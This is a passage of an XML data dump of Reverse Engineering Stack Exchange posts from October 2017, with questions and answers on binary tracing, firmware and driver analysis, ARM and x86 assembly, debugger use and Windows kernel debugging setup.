noreferrer&quot;&gt;Symbolic Execution for finding bugs&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://triton.quarkslab.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Triton: Dynamic Binary Analysis&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://angr.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Angr&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;... many others ...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="53" LastActivityDate="2017-10-17T08:54:44.170" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16572" PostTypeId="1" CreationDate="2017-10-17T10:10:26.730" Score="2" ViewCount="437" Body="&lt;p&gt;While decompiling an iOS app, all function names and object names are visible. Why ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that during the build, function names are kept by the compilator to allow the linker to do its job. But then once the linker has finished, why not removing the function names ?&lt;/p&gt;&#xA;" OwnerUserId="21970" LastActivityDate="2017-10-19T09:02:29.387" Title="Why function names are visible in a decompiled iOS app?" Tags="|decompilation|ios|functions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16573" PostTypeId="1" CreationDate="2017-10-17T15:06:28.110" Score="3" ViewCount="629" Body="&lt;p&gt;Given a binary executable file (in this case, a compiled C file which finds the gcd of 2 numbers), is there a tool which profiles the execution of this file and could generate some sort of call graph of that execution, specifically the order of instructions/bytes being called/accessed (i.e. a list of positions of instructions/bytes within that file)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that &lt;em&gt;ltrace&lt;/em&gt; and &lt;em&gt;strace&lt;/em&gt; tools trace the library and system calls, respectively, but what I'm asking for is specifically the bytes located in the file itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using &lt;em&gt;perf&lt;/em&gt; to sample the PC, but I didn't find a way to limit its sampling to the file itself or to have it track the exact bytes themselves. I also found that it couldn't sample it fast enough for such a short program. &lt;em&gt;oprofile&lt;/em&gt; seemed to have a similar issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used &#xA;&lt;em&gt;radare2&lt;/em&gt; to generate a call-graph of the executable, but that created the full call-graph and was independent of any arguments/execution, nor does it give exact positions of the instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to use this tool to compare the execution of two binaries i.e. show the difference in execution between ./gcd 5 10 and ./gcd 128 24&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does a tool like this exist?&lt;/p&gt;&#xA;" OwnerUserId="21972" LastActivityDate="2018-02-15T15:45:00.107" Title="Track execution of bytes in a Linux executable" Tags="|binary-analysis|executable|binary|call-graph|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16574" PostTypeId="1" CreationDate="2017-10-17T20:17:25.743" Score="1" ViewCount="566" Body="&lt;p&gt;I need to automate some text editing and encryption. I've been doing some research and it seems uhooker can detect when a file is saved or when a program is closed, but I didn't see any examples to find the path to file for any saved files, like say from notepad. I did find techniques of directory watching, but there are some recourse overheads for going that route. Can anyone point me in the right direction, and provide documentation to any example that does this? Or let me know if I simply missed it in the uhooker documentation? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="21975" LastActivityDate="2017-10-17T20:17:25.743" Title="How to hook Windows syscall ntcreatefile an get path to saved file from notepad? Python 3" Tags="|python|api|system-call|" AnswerCount="0" CommentCount="9" FavoriteCount="0" ClosedDate="2017-10-26T13:43:54.113" ContentLicense="CC BY-SA 3.0" />
  <row Id="16575" PostTypeId="2" ParentId="16573" CreationDate="2017-10-18T09:37:45.837" Score="1" Body="&lt;p&gt;It seems what you need is an &lt;em&gt;instruction tracer&lt;/em&gt;. PIN from Intel is one example of a framework which allows you to make tracing tools. It uses &lt;em&gt;dynamic binary instrumentation&lt;/em&gt; to achieve reasonable speeds and you can likely use one of the examples shipped with the library with little or no modification. Many debuggers also support instruction trace recording (usually by software stepping every instruction which is rather slow but generally reliable). Some may even have support for &lt;em&gt;differential debugging&lt;/em&gt; which records several executions and shows differences between them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a recent Intel CPU, you may be able to take advantage of &lt;a href=&quot;http://halobates.de/blog/p/410&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel Processor Trace (PT)&lt;/a&gt; with &lt;code&gt;perf&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-10-18T09:37:45.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16576" PostTypeId="1" CreationDate="2017-10-18T21:59:11.657" Score="6" ViewCount="6368" Body="&lt;p&gt;I'm looking to reverse engineer a Windows driver for a printer I have here. I found out a bit about USB sniffing but I don't think Snoopy runs on Windows 7. I know the driver is on my computer somewhere but it's location is not obvious.  Can someone outline the steps I will need to take to accomplish this? I've never done this before . There's a lot on the web but it is a bit confusing as to which direction to go. I'm using python 3&lt;/p&gt;&#xA;" OwnerUserId="21975" LastEditorUserId="21975" LastEditDate="2017-10-18T22:27:48.890" LastActivityDate="2019-08-09T09:45:47.203" Title="Reverse engineering USB peripheral driver" Tags="|windows|python|serial-communication|driver|usb|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16577" PostTypeId="2" ParentId="16576" CreationDate="2017-10-19T08:18:47.070" Score="1" Body="&lt;p&gt;I am more familiar with linux but some steps are similar. To find where is your driver, I believe that if you plug your device and go in the Device Manager, click right on the device then properties, you can find the path to the driver.&#xA;To reverse engineer the protocol, you can use a combination of driver disassembly (using radare, IDA or other tools) and USB sniffing/capturing. I usually find it easier to capture USB traffic when running a virtual machine. Wireshark can do it on Linux and apparently on Windows too, see &lt;a href=&quot;https://wiki.wireshark.org/CaptureSetup/USB&quot; rel=&quot;nofollow noreferrer&quot;&gt;this page&lt;/a&gt;.&#xA;It will help tremendously if your device uses a known protocol like serial or SCSI over USB, otherwise you will really have to learn about USB, &lt;a href=&quot;http://www.beyondlogic.org/usbnutshell/usb1.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; is a good start.&lt;/p&gt;&#xA;" OwnerUserId="21661" LastActivityDate="2017-10-19T08:18:47.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16578" PostTypeId="2" ParentId="16576" CreationDate="2017-10-19T08:44:39.873" Score="1" Body="&lt;p&gt;Answers to &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2416/&quot;&gt;this question&lt;/a&gt; deal with generic reversing of USB devices, but if you want to start from the driver files, find the printer in Device Manager, go to properties, then Driver tab-Driver details... to see the driver files. MSDN topics on &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/print/printer-driver-architecture&quot; rel=&quot;nofollow noreferrer&quot;&gt;printer driver development&lt;/a&gt; or &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/samples/print-driver-samples&quot; rel=&quot;nofollow noreferrer&quot;&gt;WDK samples&lt;/a&gt; may be useful too.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-10-19T08:44:39.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16580" PostTypeId="2" ParentId="16572" CreationDate="2017-10-19T09:02:29.387" Score="1" Body="&lt;p&gt;&lt;strong&gt;Short answer:&lt;/strong&gt; noone bothered to implement something like this. &lt;code&gt;/bin/strip&lt;/code&gt; was developed when memory was a precious resource and it increased the challenge of debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My best guess why:&lt;/strong&gt;&#xA;In ObjectiveC (and swift) functions are called by objects sending messages to each other in a kind of dynamic dispatch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means when you call a method on an object, you send identifiers of the object you want to call the method on and the method itself to the dispatch function (e.g. &lt;a href=&quot;https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend&quot; rel=&quot;nofollow noreferrer&quot;&gt;objc_msgsend&lt;/a&gt;). My best guess is that stripping symbols complicates that process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;References: &lt;a href=&quot;https://blog.zynamics.com/2010/04/27/objective-c-reversing-i/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.zynamics.com/2010/04/27/objective-c-reversing-i/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-10-19T09:02:29.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16582" PostTypeId="1" AcceptedAnswerId="16583" CreationDate="2017-10-20T04:52:39.070" Score="0" ViewCount="1251" Body="&lt;p&gt;According to documentation, the LDRD instruction works, as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LDRD    R8, R9, [R3, #0x20];  load r8 from a word 32 bytes above the address in R3, and load r9 from  a word 36 bytes above the address in R3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand the first part, R8 loads from a word 32 bytes(0x20) above R3. Its the second part I don't understand. Why is it 36 bytes instead of 32?&lt;/p&gt;&#xA;" OwnerUserId="17731" LastActivityDate="2017-10-20T07:15:10.237" Title="Help with LDRD Instruction" Tags="|ida|disassembly|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16583" PostTypeId="2" ParentId="16582" CreationDate="2017-10-20T07:15:10.237" Score="4" Body="&lt;p&gt;Please referr to the actual &lt;a href=&quot;https://www.scss.tcd.ie/~waldroj/3d1/arm_arm.pdf&quot; rel=&quot;noreferrer&quot;&gt;instruction manual&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from page A4-50:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;LDRD (Load Registers Doubleword) loads a pair of ARM registers from two consecutive words of memory.&#xA;  The pair of registers is restricted to being an even-numbered register and the odd-numbered register that&#xA;  immediately follows it (for example, R10 and R11).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;tl/dr: 36 is 32 + 4 (it loads to concecutive words)&#xA;basically it says at offset 0x20 to r3, get two words for r8 and r9.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-10-20T07:15:10.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16585" PostTypeId="1" CreationDate="2017-10-20T10:44:16.467" Score="1" ViewCount="323" Body="&lt;p&gt;I am trying to reverse engineer the firmware upgrading process of BE126 wifi repeater which has a MIPS CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't find a firmware upgrade image in the manufacturer site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the toolchain for the processor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dumped the flash of the device,the flash consists of 3 partitions:&#xA;1.the boot partition&#xA;2.compressed Linux kernel&#xA;3.rootfs &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the boot partition the has an LZMA compressed file that by running strings on the decompressed output appear to be u-boot and it has some strings concerning the upgrading process&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately the second stage u-boot is in binary format without the uImage header how can i disassemble it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know i need to find the loading address but i don't know how,most of the research i found on the internet for such things had the uImage header that has the loading address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to reverse the first stage boot loader,I know the loading address but not the size of the code section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;an output of binwalk on the boot partition:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;6488          0x1958          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 107408 bytes&#xA;70881         0x114E1         Zlib compressed data, default compression&#xA;83275         0x1454B         Zlib compressed data, default compression&#xA;95669         0x175B5         Zlib compressed data, default compression&#xA;136417        0x214E1         Zlib compressed data, default compression&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the Zlib data are configuration files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;binwalk on the extracted LZMA:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;86608         0x15250         CRC32 polynomial table, big endian&#xA;99996         0x1869C         HTML document header&#xA;100720        0x18970         HTML document footer&#xA;100772        0x189A4         HTML document header&#xA;101132        0x18B0C         HTML document footer&#xA;101184        0x18B40         HTML document header&#xA;101523        0x18C93         HTML document footer&#xA;101576        0x18CC8         HTML document header&#xA;101824        0x18DC0         HTML document footer&#xA;101876        0x18DF4         HTML document header&#xA;102226        0x18F52         HTML document footer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22000" LastActivityDate="2017-10-20T10:44:16.467" Title="reverse engineer BE126 boot-loader" Tags="|mips|binary-format|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16586" PostTypeId="1" AcceptedAnswerId="16587" CreationDate="2017-10-20T14:48:12.080" Score="4" ViewCount="22526" Body="&lt;p&gt;I have the following program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main() {&#xA;    char buff[11] = &quot;helloitbd9&quot;;&#xA;    int x = 4;&#xA;    printf(&quot;%d&quot;, x);&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can see the string &quot;helloitbd9&quot; through a hexdump of the binary, in the beginning of the data section. However, what I don't understand is why when I search for &quot;all referenced strings&quot; I only get &quot;%d&quot; as a result? Is it because the search only looks for strings which are used in functions? Is there a way to search for all &quot;strings&quot; in the data section? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/81KeS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/81KeS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22004" LastEditorUserId="18698" LastEditDate="2017-10-20T15:56:23.417" LastActivityDate="2017-10-20T21:47:23.210" Title="Searching for strings in ollydbg" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16587" PostTypeId="2" ParentId="16586" CreationDate="2017-10-20T17:44:41.797" Score="5" Body="&lt;p&gt;From my experience, &lt;em&gt;OllyDbg&lt;/em&gt; is not so good with handling string references. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it because the search only looks for strings which are used in functions?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As far as I know, &quot;Search for &gt;&gt; All referenced text strings&quot; is searching, well, for strings which are &lt;strong&gt;referenced&lt;/strong&gt; in the assembly. It is not searching for a strings in the whole binary, even if they're exist somewhere in the binary. If you want to search for strings in the whole binary you can use your favorite hex-editor or other utilities such as Sysinternals' &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/strings&quot; rel=&quot;noreferrer&quot;&gt;strings&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We should keep in mind, though, that whether or not a string which is being used in the code itself (e.g, just assigned to a variable which is never used in the program) will be showed in the binary, might changed in different compilers. Some of them would show the assigning even though the variable is never used, some would still keep the string in the binary but you won't see it in the assembly and others would ignore it entirely and would not include the string in the binary at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing that worth mentioning is that disassemblers sometimes not recognizing strings and would mistake it with hexadecimal values. In such cases you might see something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;mov     eax, 6C6C6568h&#xA;...&#xA;mov     eax, 6274696Fh&#xA;...&#xA;mov     eax, 3964h &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of showing it as &lt;code&gt;mov     eax, &quot;helloitbd9&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a way to search for all &quot;strings&quot; in the data section?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You said that you saw the string with a hex editor, you should be able to find it with OllyDbg through looking at the memory maps. Go to &lt;em&gt;View &gt;&gt; Memory&lt;/em&gt; and double click the memory map you're interested in which is in your case -- &lt;code&gt;.data&lt;/code&gt;. In the opened window press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;b&lt;/kbd&gt; and search for your string, you should find it there. If you don't find it you can also search for it in another memory maps such as &lt;code&gt;.rdata&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;On a personal note, I highly recommend to use x64dbg which is an active open-source project, unlike Ollydbg which is absolutely outdated. Moreover, x64dbg is inspired by OllyDbg so you should not have too many problems with migrating to it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some resources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://x64dbg.com&quot; rel=&quot;noreferrer&quot;&gt;x64dbg main website&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/x64dbg/x64dbg&quot; rel=&quot;noreferrer&quot;&gt;The project's Github repository&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://x64dbg.readthedocs.io/en/latest/&quot; rel=&quot;noreferrer&quot;&gt;x64dbg's documentation&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2017-10-20T21:47:23.210" LastActivityDate="2017-10-20T21:47:23.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16588" PostTypeId="1" AcceptedAnswerId="16591" CreationDate="2017-10-20T20:20:36.297" Score="5" ViewCount="2433" Body="&lt;p&gt;I am Kernel debugging in Windbg and it's slow , very slow stepping through. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current setup is using VMWARE and Windbg through a com port on the Virtual Machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a faster way to debug the Windows Kernel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some of my options?&lt;/p&gt;&#xA;" OwnerUserId="6992" LastActivityDate="2017-10-26T18:59:15.007" Title="Faster Kernel debugging for Windows" Tags="|debugging|windbg|kernel-mode|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16589" PostTypeId="1" CreationDate="2017-10-21T04:10:21.607" Score="1" ViewCount="322" Body="&lt;p&gt;I recently discovered a binary container file in a GameCube video game which I cannot unpack!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I asked around, and I was told that it is an archive with this exact file structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char Signature[8];&#xA;uint32 FileCount;&#xA;uint32 Size;&#xA;char Padding?[16];&#xA;FileDesc Files[FileCount];&#xA;&#xA;struct FileDesc&#xA;{&#xA;char Filename[32];&#xA;uint32 Offset;&#xA;uint32 Size;&#xA;char Padding?[24];&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I cannot figure out how to write a working script in Python which can unpack this file!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Literally all I want is to unpack the archive and retrieve the files inside!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mega.nz/#!10YlCBqb!uAfVjf6KkRdNZPpBqJmIaa8zTzh_YCkCm8b9mkPdYYY&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is the file in question.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22010" LastActivityDate="2017-10-21T05:01:48.240" Title="How can I unpack this archive file?" Tags="|unpacking|struct|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16590" PostTypeId="2" ParentId="16589" CreationDate="2017-10-21T05:01:48.240" Score="1" Body="&lt;p&gt;Please read this article of mine: &lt;a href=&quot;https://www.codeproject.com/Articles/5035/How-to-Write-a-Simple-Packer-Unpacker-with-a-Self&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.codeproject.com/Articles/5035/How-to-Write-a-Simple-Packer-Unpacker-with-a-Self&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It answers you in C. But rewriting in Python is easy.&lt;/p&gt;&#xA;" OwnerUserId="147" LastActivityDate="2017-10-21T05:01:48.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16591" PostTypeId="2" ParentId="16588" CreationDate="2017-10-21T05:07:22.720" Score="10" Body="&lt;p&gt;You want VirtualKd. It is excellent and robust.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://virtualkd.sysprogs.org&quot; rel=&quot;noreferrer&quot;&gt;http://virtualkd.sysprogs.org&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="147" LastActivityDate="2017-10-21T05:07:22.720" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16592" PostTypeId="1" CreationDate="2017-10-21T10:36:52.480" Score="5" ViewCount="5039" Body="&lt;p&gt;So I am wondering why I cannot do this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, ffffffffh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I can do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, 0ffffffffh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could anybody explain please? In this case, I am using the Flat Assembler but I think this is not assembler-specific. &lt;/p&gt;&#xA;" OwnerUserId="22011" LastActivityDate="2017-10-21T12:11:43.633" Title="x86 ASM question about hexadecimal numbers and how to transfer them" Tags="|assembly|hexadecimal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16593" PostTypeId="2" ParentId="16592" CreationDate="2017-10-21T11:58:03.870" Score="4" Body="&lt;p&gt;Most assemblers require numeric constants to begin with a digit, this is so they can distinguish between them and labels.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see it in &lt;a href=&quot;https://flatassembler.net/docs.php?article=fasmg_manual#1&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;FASM Fundamental syntax rules&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Numbers are distinguished from names by the fact that they either&#xA;  begin with a decimal digit, or with the &quot;$&quot; character followed by any&#xA;  hexadecimal digit. This means that a token can be considered numeric&#xA;  even when it is not a valid number. To be a correct one it must be one&#xA;  of the following: a decimal number (optionally with the letter &quot;d&quot;&#xA;  attached at the end), a binary number followed by the letter &quot;b&quot;, an&#xA;  octal number followed by the letter &quot;o&quot; or &quot;q&quot;, or a hexadecimal&#xA;  number either prepended with &quot;$&quot; or &quot;0x&quot;, or followed by the character&#xA;  &quot;h&quot;. Because the first digit of a hexadecimal number can be a letter,&#xA;  it may be needed to prepend it with the digit zero in order to make it&#xA;  recognizable as a number. For example, &quot;0Ah&quot; is a valid number, while&#xA;  &quot;Ah&quot; is just a name.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and in &lt;a href=&quot;http://people.sju.edu/~ggrevera/arch/references/MASM61PROGUIDE.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;MASM Manual&lt;/a&gt; as well:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Hexadecimal numbers must always start with a decimal digit (0–9). If&#xA;  necessary, add a leading zero to distinguish between symbols and&#xA;  hexadecimal numbers that start with a letter.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Looking at &lt;code&gt;0ffffffffh&lt;/code&gt; you can see 8 significant hex digits, exactly as you'd expect. This is not unique to &lt;code&gt;0ffffffffh&lt;/code&gt;, another numeric literals should be written with a leading zero as well --  &lt;code&gt;0d1h&lt;/code&gt;, &lt;code&gt;0aah&lt;/code&gt;, &lt;code&gt;0b0h&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These days it is common for assemblers to support the &lt;code&gt;0xffffffff&lt;/code&gt; syntax. If yours is not (FLAT supports it), make sure to pay attention to the leading zero, otherwise the hexadecimal value would be interpreted as a label or another symbol name.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2017-10-21T12:11:43.633" LastActivityDate="2017-10-21T12:11:43.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16594" PostTypeId="2" ParentId="16588" CreationDate="2017-10-21T16:39:24.843" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/user/GynvaelEN/videos&quot; rel=&quot;nofollow noreferrer&quot;&gt;GynvaelColdwind&lt;/a&gt; had invited &lt;a href=&quot;https://twitter.com/honorary_bot&quot; rel=&quot;nofollow noreferrer&quot;&gt;honorary_bot&lt;/a&gt; who had 4 streams about Kernel Debugging. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The videos can be found here: &lt;a href=&quot;https://www.youtube.com/watch?v=s5gOW-N9AAo&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stream 1&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=4Xo_FAx6P0A&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stream 2&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=7zTtVYjjquA&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stream 3&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=rhsH-snYkIc&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stream 4&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Around 34 min in the stream 1 he mentions the slowness of COM connection and around 38 he mentions usage of &lt;a href=&quot;http://virtualkd.sysprogs.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;VirtualKd&lt;/a&gt; and why it works much faster. There's also a short installation/setup process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there are some downsides of this one - as you need to install something on the machine (someone might don't want to do it). So what it's presented as the best solution (for him) is using physical Firewire but the setup requires separate machines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend to have a watch of those 4 streams if you are new into the topic.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2017-10-21T16:39:24.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16597" PostTypeId="1" AcceptedAnswerId="16602" CreationDate="2017-10-22T14:29:19.280" Score="1" ViewCount="740" Body="&lt;p&gt;I'd like to try and fix some open source GitHub project that uses the &lt;code&gt;allApplications&lt;/code&gt; from &lt;code&gt;LSApplicationWorkspace&lt;/code&gt; call from private API which list all installed application on the device. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The method works fine in the simulator, but on a device running iOS 11, it returns zero results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So First, I've downloaded the IPSW file, and opened it I got the following list of files : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-rw-r--r--@  1 adam.k  staff    15139280 Oct  7 08:16 kernelcache.release.iphone9&#xA;-rw-r--r--@  1 adam.k  staff  2462102996 Oct  7 11:25 058-59998-354.dmg&#xA;drwxrwxr-x@ 14 adam.k  staff         476 Oct  7 11:34 Firmware&#xA;-rw-r--r--@  1 adam.k  staff    59088923 Oct  7 11:44 058-59982-359.dmg&#xA;-rw-r--r--@  1 adam.k  staff    59801627 Oct  7 11:44 058-59988-357.dmg&#xA;-rw-r--r--@  1 adam.k  staff        3282 Oct  7 11:49 Restore.plist&#xA;-rw-r--r--@  1 adam.k  staff      257603 Oct  7 11:53 BuildManifest.plist&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to some resources from from the web, I understood that the relevant image here is the largest dmg file. after open it, I got the following mount &lt;code&gt;/Volumes/Tigris15A432.D10D101OS&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when looking for the right framework in this image, I got :&#xA;&lt;code&gt;System/Library/Frameworks/MobileCoreServices.framework&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it seems that it doesn't contain any dylib/macho files and I couldn't find the symbol...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, In the Info.plist of that framework it says : &#xA;    CFBundleExecutable&#xA;    MobileCoreServices&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I couldn't find this MobileCoreServices file anywhere in the image ... any idea where should I find it ?&lt;/p&gt;&#xA;" OwnerUserId="19879" LastActivityDate="2017-10-23T08:23:48.737" Title="Getting MobileCoreServices.framework binary in iOS11" Tags="|disassembly|ios|" AnswerCount="1" CommentCount="0" ClosedDate="2017-10-27T15:42:45.167" ContentLicense="CC BY-SA 3.0" />
